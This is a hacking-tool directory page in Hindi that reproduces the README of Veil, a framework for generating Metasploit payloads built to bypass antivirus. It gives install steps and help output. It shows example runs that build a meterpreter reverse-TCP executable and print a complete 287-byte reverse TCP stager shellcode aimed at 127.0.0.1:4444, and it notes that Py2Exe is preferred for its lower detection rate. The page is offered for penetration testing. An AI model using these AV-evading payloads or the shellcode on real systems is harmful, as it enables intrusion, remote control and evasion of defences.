Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/veil-framework/veil
शोषण फ्रेमवर्कपेलोड जनरेशनपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलशेलकोड जनरेशनArchived
GitHubveil-framework/veil

Veil

Veil 3.1.X (रनटाइम पर Veil में संस्करण जानकारी जाँचें)

रिपॉजिटरी देखें
4.2k9142 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Veil

Veil Logo

Veil एक उपकरण है जो सामान्य एंटी-वायरस समाधानों को बायपास करने वाले metasploit पेलोड उत्पन्न करने के लिए डिज़ाइन किया गया है।

Veil वर्तमान में @ChrisTruncer द्वारा समर्थित है।


सॉफ्टवेयर आवश्यकताएँ:

निम्नलिखित OS आधिकारिक रूप से समर्थित हैं:

  • Debian 8+
  • Kali Linux Rolling 2018.1+

निम्नलिखित OS संभवतः Veil चला सकते हैं:

  • Arch Linux
  • Manjaro Linux
  • BlackArch Linux
  • Deepin 15+
  • Elementary
  • Fedora 22+
  • Linux Mint
  • Parrot Security
  • Ubuntu 15.10+
  • Void Linux

सेटअप

Kali का त्वरित इंस्टॉल

root@kitploit:~
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

Git का त्वरित इंस्टॉल

नोट:

  • इंस्टॉलेशन सुपरयूज़र विशेषाधिकारों के साथ किया जाना चाहिए। यदि आप रूट खाते का उपयोग नहीं कर रहे हैं (जैसा कि Kali Linux में डिफ़ॉल्ट है), तो कमांड से पहले sudo लगाएं या शुरू करने से पहले रूट यूज़र पर स्विच करें।
  • आपका पैकेज मैनेजर apt से भिन्न हो सकता है। आपको एक X सर्वर चलाने की भी आवश्यकता होगी, या तो सिस्टम पर ही, या आपके स्थानीय सिस्टम पर।
root@kitploit:~
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent

./config/setup.sh // सेटअप फ़ाइलें

यह फ़ाइल Veil की सभी निर्भरताओं को स्थापित करने के लिए जिम्मेदार है। इसमें Windows पक्ष के लिए सभी WINE वातावरण शामिल हैं। यह सभी आवश्यक Linux पैकेज और GoLang, साथ ही Python, Ruby और Windows के लिए AutoIT स्थापित करेगा। इसके अलावा, यह आपके वातावरण के लिए ./config/update-config.py भी चलाएगा।

इसमें दो वैकल्पिक फ्लैग शामिल हैं, --force और --silent:

root@kitploit:~
--force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update.
--silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user.

इसे या तो ./Veil.py --setup या ./config/setup.sh --force चलाकर किया जा सकता है।

./config/update-config.py // कॉन्फ़िगरेशन फ़ाइल पुनर्जनन

यह /etc/veil/settings.py के लिए आउटपुट फ़ाइल उत्पन्न करेगा। अधिकांश समय इसे पुनर्निर्माण की आवश्यकता नहीं होगी, लेकिन कुछ मामलों में आपको ऐसा करने के लिए कहा जा सकता है (जैसे कि एक प्रमुख Veil अपडेट)।

यह महत्वपूर्ण है कि आप update-config.py को निष्पादित करने से पहले ./config/ निर्देशिका में हों। यदि नहीं, तो /etc/veil/settings.py गलत होगा और जब आप Veil लॉन्च करेंगे तो आप निम्न देखेंगे:

root@kitploit:~
    Main Menu

            0 payloads loaded

घबराएं नहीं। या तो ./Veil.py --config चलाएं या cd ./config/; ./update-config.py।

Py2Exe

नोट: PyInstaller की तुलना में Py2Exe का उपयोग अनुशंसित है (क्योंकि इसकी पहचान दर कम है)।

Windows कंप्यूटर पर मैन्युअल रूप से इंस्टॉल करें (क्योंकि यह Veil के सेटअप द्वारा नहीं किया जाता है):

  • Python 3.3
  • Py2Exe
  • PyCrypto
  • PyWin32

उदाहरण उपयोग

Veil का मुख्य मेनू:

root@kitploit:~
$ ./Veil.py
===============================================================================
                             Veil | [Version]: 3.1.6
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

Main Menu

  2 tools loaded

Available Tools:

  1)  Evasion
  2)  Ordnance

Available Commands:

  exit      Completely exit Veil
  info      Information on a specific tool
  list      List available tools
  options     Show Veil configuration
  update      Update Veil
  use     Use a specific tool

Veil>:

सहायता

root@kitploit:~
$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
               [--version] [--ip IP] [--port PORT] [--list-payloads]
               [-p [PAYLOAD]] [-o OUTPUT-NAME]
               [-c [OPTION=value [OPTION=value ...]]]
               [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
               [--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
               [--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]

Veil is a framework containing multiple tools.

[*] Veil Options:
  --list-tools          List Veil's tools
  -t TOOL, --tool TOOL  Specify Veil tool to use (Evasion, Ordnance etc.)
  --update              Update the Veil framework
  --setup               Run the Veil framework setup file & regenerate the
                        configuration
  --config              Regenerate the Veil framework configuration file
  --version             Displays version and quits

[*] Callback Settings:
  --ip IP, --domain IP  IP address to connect back to
  --port PORT           Port number to connect to

[*] Payload Settings:
  --list-payloads       Lists all available payloads for that tool

[*] Veil-Evasion Options:
  -p [PAYLOAD]          Payload to generate
  -o OUTPUT-NAME        Output file base name for source and compiled binaries
  -c [OPTION=value [OPTION=value ...]]
                        Custom payload module options
  --msfoptions [OPTION=value [OPTION=value ...]]
                        Options for the specified metasploit payload
  --msfvenom []         Metasploit shellcode to generate (e.g.
                        windows/meterpreter/reverse_tcp etc.)
  --compiler pyinstaller
                        Compiler option for payload (currently only needed for
                        Python)
  --clean               Clean out payload folders

[*] Veil-Ordnance Shellcode Options:
  --ordnance-payload PAYLOAD
                        Payload type (bind_tcp, rev_tcp, etc.)

[*] Veil-Ordnance Encoder Options:
  --list-encoders       Lists all available encoders
  -e ENCODER, --encoder ENCODER
                        Name of shellcode encoder to use
  -b \x00\x0a.., --bad-chars \x00\x0a..
                        Bad characters to avoid
  --print-stats         Print information about the encoded shellcode
$

Veil Evasion CLI

root@kitploit:~
$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [*] Language: go
 [*] Payload Module: go/meterpreter/rev_tcp
 [*] Executable written to: /var/lib/veil/output/compiled/payload.exe
 [*] Source code written to: /var/lib/veil/output/source/payload.go
 [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$

Veil Ordnance CLI

root@kitploit:~
$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
===============================================================================
                                   Veil-Ordnance
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [*] Payload Name: Reverse TCP Stager (Stage 1)
 [*] IP Address: 127.0.0.1
 [*] Port: 4444
 [*] Shellcode Size: 287

\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
$

लाइसेंसिंग

यह प्रोजेक्ट GNU जनरल पब्लिक लाइसेंस v3 के तहत लाइसेंस प्राप्त है।

टूल डाउनलोड करें